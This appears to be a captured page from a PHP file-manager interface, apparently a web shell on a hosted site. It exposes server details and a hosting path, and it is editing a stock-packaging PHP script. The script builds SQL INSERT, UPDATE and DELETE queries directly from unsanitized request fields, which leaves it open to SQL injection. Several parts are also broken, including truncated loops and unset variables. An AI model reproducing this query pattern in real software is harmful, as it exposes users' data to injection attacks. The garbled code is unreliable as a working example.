Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-570.19.1.el9_6.x86_64

PHP Version:

8.2.28

User:

u802471691

Directory:

/home/u802471691/domains/thetechnozone.in/public_html/stock

Free Space:

9.3 TB

🔧 Quick Actions

✏️ Editing: packaging.php

<?php include "header.php";

$action=$_REQUEST['action'];

if($action=='save'){

$p_name=$_POST['pname'];

$str = $p_name;
$new_str = preg_replace("/\s+/", "", $str);
//echo $new_str; // Outputs: Thisisasimplepieceoftext.

$p_code=$new_str;
			$p_type=4;
			$p_for=2;
			$m_unit=$_POST['unit'];
			$s_unit='';
			$mtos=0;
			$quantity=$_POST['quantity'];
			$wet=$_POST['wet'];
			$praw=$_POST['praw'];
			$punit=$_POST['punit'];

$getuns=f(q("SELECT * FROM tbl_unit WHERE u_name='$m_unit'"));
			$geun=f(q("SELECT * FROM tbl_unit WHERE u_name='$punit'"));

$sel=f(q("SELECT * FROM tbl_products WHERE p_code='$p_name'"));

if($sel['p_name']==''){

//echo "INSERT INTO  tbl_products SET p_name='$p_name',p_code='$p_code',p_type='$p_type',p_for='$p_for',m_unit='$getuns[u_id]',s_unit='0',mtos='0'";

$res=mysqli_query($con,"INSERT INTO  tbl_products SET p_name='$p_name',p_code='$p_code',p_type='$p_type',p_for='$p_for',m_unit='$geun[u_id]',s_unit='0',mtos='0'");

$maxid=mysqli_insert_id($con);

//echo "INSERT INTO tbl_stock SET st_date=CURDATE(),st_prodid='$maxid',st_quan='$quantity',st_munit='$quantity',st_sunit='0',st_type='Packaging',st_invno='0',st_prodname='$p_name',st_wt='$wet',st_trn=1";

$instock=mysqli_query($con,"INSERT INTO tbl_stock SET st_date=CURDATE(),st_prodid='$maxid',st_quan='$quantity',st_munit='$quantity',st_sunit='0',st_type='Packaging',st_invno='0',st_prodname='$p_name',st_wt='$wet',st_trn=1");

$maxstock=mysqli_insert_id($con);

$rawd=f(q("SELECT * FROM tbl_products WHERE p_code='$praw'"));
			 $prodid=$rawd['p_ids'];
			 $pname=$rawd['p_name'];
			 $mainunit=f(q("SELECT * FROM tbl_unit WHERE u_id='$rawd[m_unit]'"));
			 $subunit=f(q("SELECT * FROM tbl_unit WHERE u_id='$rawd[s_unit]'"));
			 $mtos=$rawd['mtos'];

//echo $subunit['u_name'];

if($mainunit['u_name']==$m_unit){

if ($subunit['u_name']!='') {
			 				// code...
			 					$mquan=(floatval($quantity)*floatval($wet));
			 					$squan=(floatval($quantity)*floatval($wet))*floatval($mtos);

}else{

$mquan=(floatval($quantity)*floatval($wet));
			 					$squan=0;

}

}elseif($subunit['u_name']==$m_unit){

$squan=(floatval($quantity)*floatval($wet));
			 			$mquan=(floatval($quantity)*floatval($wet))/(floatval($mtos));

}

$str="INSERT INTO tbl_stock SET st_date=CURDATE(),st_prodid='$prodid',st_quan='$mquan',st_munit='$mquan',st_sunit='$squan',st_type='Stock Out',st_invno='$maxstock',st_prodname='$pname',st_wt='$wet',st_trn=0";
			  //echo $str;

$instock=mysqli_query($con,"INSERT INTO tbl_stock SET st_date=CURDATE(),st_prodid='$prodid',st_quan='$mquan',st_munit='$mquan',st_sunit='$squan',st_type='Stock Out',st_invno='$maxstock',st_prodname='$pname',st_wt='$wet',st_trn=0");

if($res){ echo "<script>alert('Data Saved Successfully')</script>";

echo "<script>window.open('codeprint.php?ids=$maxstock','_blank',
                                   `toolbar=no,
                                    location=no,
                                    status=no,
                                    menubar=no,
                                    scrollbars=yes,
                                    resizable=yes,
                                    width=500,
                                    height=250`);</script>";

}else{

echo "<script>alert('Could not Save Data')</script>";

}

}else{

$maxid=$sel['p_ids'];
				//$maxid=mysqli_insert_id($con);

$maxstock=mysqli_insert_id($con);

//echo $subunit['u_name'];

if($mainunit['u_name']==$m_unit){

if ($subunit['u_name']!='') {
			 				// code...
			 					$mquan=(floatval($quantity)*floatval($wet));
			 					$squan=(floatval($quantity)*floatval($wet))*floatval($mtos);

}else{

$mquan=(floatval($quantity)*floatval($wet));
			 					$squan=0;

}

}elseif($subunit['u_name']==$m_unit){

$squan=(floatval($quantity)*floatval($wet));
			 			$mquan=(floatval($quantity)*floatval($wet))/(floatval($mtos));

}

if($instock){ echo "<script>alert('Data Saved Successfully')</script>";

}else{

echo "<script>alert('Could not Save Data')</script>";

}

}elseif($action=='update'){

$p_name=$_POST['p_name'];
				$cid=$_REQUEST['cid'];
				$p_code=$_POST['p_code'];
				$p_type=$_POST['p_type'];
				$p_for=$_POST['p_for'];
				$m_unit=$_POST['unit'];
				$s_unit='';
				$mtos=$_POST['mtos'];

$sel=f(q("SELECT * FROM tbl_products WHERE p_code='$p_code'"));

if($sel['p_name']==''){

if($res){$res=mysqli_query($con,"UPDATE tbl_products SET p_name='$p_name',p_code='$p_code',p_type='$p_type',p_for='$p_for',m_unit='$m_unit',s_unit='$s_unit',mtos='$mtos' WHERE p_ids='$cid'");}else{

echo "<script>alert('Could not Save Data')</script>";

}

}else{

echo "<script>alert('Product Code Should Be Unique')</script>";

}

}elseif($action=='edit'){

$cid=$_REQUEST['cid'];

$edit=f(q("SELECT * FROM tbl_products WHERE p_ids='$cid'"));

}elseif($action=='delete'){

$cid=$_REQUEST['cid'];

$edit=mysqli_query($con,"DELETE FROM tbl_products WHERE p_ids='$cid'");

}

?>
		<link rel="stylesheet" type="text/css" href="//cdn.datatables.net/1.11.5/css/jquery.dataTables.min.css">

<h4>Create Packaging</h4>
          		<form action="<?php echo $_SERVER['PHP_SELF']?>?action=<?php if($action=='edit'){?>update&cid=<?php echo $cid?><?php }else{?>save<?php } ?>" method="POST">
          		<div class="row">

<label class="form-label">Product Name</label>
			                    <input type="text" class="form-control" name="pname" id="pname" list="prodlist" style="border:1px solid gray;font-size: 14px !important;line-height: 0.8rem !important;" required>
                                <datalist id="prodlist" name="prodlist">
                                    <?php

$pr=mysqli_query($con,"SELECT * FROM tbl_products WHERE p_for='2'");
                                         while($arrp=mysqli_fetch_array($pr)){

?>
                                    <option value="<?php echo $arrp['p_code']?>"><?php echo  $arrp['p_name']?></option>

<?php } ?>
                                </datalist>

</div>
          			<div class="col-md-4">

<label class="form-label">Product Unit</label>
			                    <input type="text" class="form-control" placeholder="Unit" id="punit" name="punit"  value="" list="pulist" style="border:1px solid gray;font-size: 14px !important;line-height: 0.8rem !important;" required>
                                <datalist id="pulist">
                                        <?php

$qs=mysqli_query($con,"SELECT * FROM  tbl_unit");
                                            while($arru=mysqli_fetch_array($qs)){

<?php } ?>

</datalist>

</div>
          			<div class="col-md-4">

<div class="row">    
			                <div class="col-md-8">
			                    <label class="form-label">Packet Weight</label>
			                    <input type="text" class="form-control" name="wet" placeholder="Enter Weight" value="<?php echo $edit['p_code']?>" style="border:1px solid gray;font-size: 14px !important;line-height: 0.8rem !important;" required>
			                </div>
			                <div class="col-md-4">
			                		<label class="form-label">Unit</label>
			                		<input type="text" class="form-control" placeholder="unit" id="unit" name="unit"  value="" list="ulist" style="border:1px solid gray;font-size: 14px !important;line-height: 0.8rem !important;" required>
                                <datalist id="ulist">
                                        <?php

$qs=mysqli_query($con,"SELECT * FROM  tbl_unit");
                                            while($arru=mysqli_fetch_array($qs)){

<?php } ?>

</datalist>
			                </div>
			            </div>

</div>
          			
          			<div class="col-md-4">

<label class="form-label">Quantity</label>
			                    <input type="text" class="form-control" name="quantity" id="quantity" style="border:1px solid gray;font-size: 14px !important;line-height: 0.8rem !important;" required>

</div>
          			<div class="col-md-4">

<label class="form-label">Raw Products</label>
			                    <input type="text" class="form-control" name="praw" id="praw" list="prodraw" style="border:1px solid gray;font-size: 14px !important;line-height: 0.8rem !important;" required>
                                <datalist id="prodraw" name="prodraw">
                                    <?php

$pr=mysqli_query($con,"SELECT * FROM tbl_products WHERE p_for<>'2'");
                                         while($arrp=mysqli_fetch_array($pr)){

?>
                                    <option value="<?php echo $arrp['p_code']?>"><?php echo  $arrp['p_name']?></option>

<?php } ?>
                                </datalist>

</div>
          			
          			
          			
          			<div class="col-md-3">

</div>

</form>

</div>
        </div>
      </div>
      
      <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
<script type="text/javascript" src="//cdn.datatables.net/1.11.5/js/jquery.dataTables.min.js"></script>
<script type="text/javascript">
	$(document).ready( function () {
    $('#myTable').DataTable();
} );
</script>

<?php include "footer.php"; ?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: packaging.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation